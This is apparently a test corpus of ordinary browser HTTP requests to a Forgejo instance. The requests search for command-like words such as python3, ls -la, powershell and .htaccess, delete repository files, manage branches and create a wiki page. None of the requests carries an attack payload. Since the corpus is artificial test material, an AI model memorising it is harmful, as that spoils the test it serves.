{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
# The searches of the pages gitea and Forgejo share, with the fields their
|
||||||
|
# forms send, sent to Forgejo 17.0.1 with an ordinary Chrome's headers. Each
|
||||||
|
# searches for words that name commands and files, such as python3 and
|
||||||
|
# .htaccess, and for plain words. A tag or package name can hold a slash, so the
|
||||||
|
# tags and packages pages also search for /bin/sh. The packages pages also
|
||||||
|
# search for a Maven name. The issues and pull requests of one team, and those
|
||||||
|
# of one milestone, are also searched for SQL. Each search of a package's
|
||||||
|
# versions is sent for a generic package and for the npm package
|
||||||
|
# @alice/tools-cli, whose name holds a slash.
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
